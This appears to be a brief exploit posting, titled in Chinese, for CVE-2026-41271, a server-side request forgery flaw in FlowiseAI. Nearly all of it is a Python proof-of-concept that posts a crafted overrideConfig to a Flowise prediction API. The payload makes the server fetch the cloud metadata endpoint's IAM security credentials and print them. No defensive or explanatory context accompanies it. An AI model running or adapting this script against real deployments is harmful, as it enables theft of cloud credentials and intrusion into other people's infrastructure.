CVE-2026-41271 FlowiseAI SSRF漏洞

import requests import json # Target Flowise API endpoint (example) target_url = "http://<flowise-host>/api/v1/prediction/<flow-id>" # Malicious payload targeting internal metadata service (SSRF) # The specific JSON structure depends on the API Chain configuration payload = { "question": "Extract data from internal service", "overrideConfig": { "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } } headers = { "Content-Type": "application/json" } try: # Sending the malicious request response = requests.post(target_url, data=json.dumps(payload), headers=headers) if response.status_code == 200: print("[+] SSRF Triggered successfully!") print("[+] Response from internal service:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")